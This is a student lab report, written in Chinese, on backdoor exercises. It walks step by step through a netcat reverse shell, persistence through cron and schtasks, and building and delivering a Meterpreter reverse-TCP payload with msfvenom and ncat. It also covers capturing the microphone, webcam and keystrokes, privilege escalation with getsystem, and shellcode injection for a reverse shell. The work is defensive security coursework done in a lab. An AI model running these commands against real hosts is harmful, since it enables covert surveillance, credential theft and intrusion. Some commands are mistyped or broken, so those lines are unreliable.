98
社区成员
1.使用netcat获取主机操作Shell,cron启动某项任务
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
2.使用socat获取主机操作Shell, 任务计划启动
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
1.例举你能想到的一个后门进入到你系统中的可能方式?
恶意链接或者带后门的插件,也可能是攻击者获取了主机的远程控制权限,利用实验内容3的方式传输后门文件。
2.例举你知道的后门如何启动起来(win及linux)的方式?
在Windows系统中,后门可能会注册为系统服务、添加到启动项或隐藏在系统进程中。
在Linux系统中,后门可能会通过修改启动脚本、添加定时任务或替换系统核心文件等方式启动。
3.Meterpreter有哪些给你映像深刻的功能?
远程命令执行、键盘记录以及通过反向连接建立持久性访问,并且可以绕过防火墙和入侵检测系统。
4.如何发现自己有系统有没有被安装后门?
定期检查系统日志以寻找异常活动记录、使用安全工具进行系统扫描以检测恶意软件或病毒、监控网络流量以发现异常连接、定期更新和审查系统的安全补丁、使用入侵检测系统来监测潜在的入侵行为等。
后门概念:后门就是不经过正常认证流程而访问系统的通道。
后门原理:在计算机系统或软件中,通过一些特殊的设计或代码注入,使得攻击者可以绕过正常的安全机制,获取非法的权限或者执行恶意操作。
Ncat
• 作用:
探测端口是否开放、局域网聊天、文件传输、正向连接、反向连接(-e重定向马上连接)
• 常见用法:
端口扫描:通过ncat可以扫描目标主机上的开放端口,以便进行安全评估和漏洞检测。
网络调试:ncat可以用于测试网络服务的可用性和响应时间,以及检查网络连接是否正常。
数据传输:通过ncat可以在不同主机之间传输数据,可以用于文件传输、远程命令执行等场景。
Socat
• 作用:
socat是一种功能强大的网络工具,它可以在不同的网络连接之间建立双向通信。
• 常见用法:
端口转发:可以将一个端口上的数据转发到另一个端口,实现网络服务的代理或者端口映射。
文件传输:可以通过socat在两台计算机之间传输文件,类似于scp或者rsync。
串口通信:可以通过socat将串口设备连接到网络上,实现串口通信的远程控制。
加密和解密:socat支持SSL和TLS协议,可以在网络连接中进行加密和解密操作。
MSF meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道(shell)。
• 关闭Windows主机的防火墙
• 在主机使用ipconfig命令查看主机ip为172.16.215.160
这里要注意,重新连接网络时主机IP可能会改变,因此每次实验前都要查看IP
• 在主机终端输入并运行指令:ncat -l -p 2317
• 在虚拟机终端输入并运行指令:nc 172.16.215.160 2317 -e /bin/sh
可以看到在主机上可以调用linux的shell查看虚拟机的目录
• Windows主机进入root模式:su root
• 输入:echo “* * * * * * echo “20212317” > /root/Desktop/20212317.txt” >/var/spool/cron/crontabs/root
让Linux虚拟机中的20212317.txt文件中每秒输入字符串“20212317”
• 编写一段C语言代码,使该代码运行后会在桌面生成一个文件,并在文件中写入“20212317”
• 对20212317.c文件进行编译,生成20212317.exe可执行文件
gcc 20212317.c -o 20212317.exe
(这里因为第一次2012317wkx.txt的文件编译错误因此又重新写了一个20212317.c的文件,下图仅展示文件代码)
• 通过socat将linux虚拟机连接windows主机,输入命令:schtasks /create /sc minute /mo 1 /tn “20212317wkx” /tr C:\Users\31501\Desktop\20212317.exe
让主机每隔一分钟执行一次.exe文件
• 查看任务计划程序库,验证程序运行情况:
• 查看桌面文件情况:
• 输入ip a,查询linux虚拟机ip为192.168.174.128
• 输入命令:msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.174.128 LPORT=2317 -f exe >20212317backdoor生成后门文件20212317backdoor
• windows主机输入:ncat -lvp 2317>20212317wkxdoor.exe
• linux虚拟机输入:nc 172.30.3.111 231720212317wkxdoor
• 将后门文件从linux虚拟机传到windows主机
• 打开桌面上的ncat文件夹,查看文件是否成功传输:
• 在linux虚拟机中依次输入以下指令:
• msfconsole
• use exploit/multi/handler
• set payload windows/meterpreter/reverse_tcp
• set LHOST 192.168.174.128(截图中输入的是主机ip,后门更正成了虚拟机ip但是忘截图了)
• set LPORT 2017
• show options
以上截图因为用错了ip所以没有监听到内容,后续将ip修改成虚拟机ip继续进行监听
• Windows主机进入ncat文件夹并输入:2021217backdoor.exe
• linux虚拟机输入exploit对主机的程序运行情况进行监听
(1)获取目标主机音频
终端输入record_mic -d 10(对主机进行十秒的录音)
(2)获取主机摄像头权限
终端输入webcam_snap(获取主机摄像头)
(3)获取主机击键记录
终端输入
• keyscan_start //开始获取主机击键记录
• keyscan_dump //读取主机击键记录
• keyscan_stop //停止
(4)尝试提权
终端输入
• use exploit/windows/local/ask
• set FILENAME 20212317.exe //设置其中显示的应用程序的名字
• set SESSION 1
• set PATH D:\test
• set LHOST 192.168.174.128
• set LPORT 2317
• run
• getsystem //尝试提权
提权成功!(这里发现没法截图,忘记可以拍照了)
(1)根据实验一找到返回地址为0xffffd010
(2)使用MSF生成shellcode
(3)注入到20212317pwn1中
(4)获取反弹连接Shell
• msfconsole开启mfs
• use exploit/multi/handler 侦听模块
• set payl
• oad linux/x86/shell_reverse_tcp
• set LHOST 192.168.174.128kali的ip地址
• set LPORT 2317
• show options 查看配置
• exploit 执行
• ls
问题1:.exe文件无法运行
问题1解决方案:原因是在我写好代码后直接把后缀改成了.exe导致程序无法运行,后续我对.c文件进行了编译,得到了20212317.exe可执行程序
问题2:linux虚拟机监听不到Windows主机运行后门文件时的状态。
问题2解决方案:ip地址填错了,应该用虚拟机的ip而不是主机ip。
问题3:主机无法运行后门文件
问题3解决方案:关闭主机防火墙以及各种杀毒软件,避免后门运行时被拦截。
通过本次实验我简单了解了ncat、socat以及MSF meterpreter的使用。本次实验内容还是比较多的,对于我来说难度不小,在做实验的过程中也查阅了很多资料才把这个实验完成。本次实验我是在几个不同的时间完成的,因此会出现ip地址变化以及防火墙状态不同等问题,这也导致我在做实验的过程中经常出现监听被拦截的情况,在以后的实验中我还是尽可能一口气做完及时截图,减少这类问题的发生。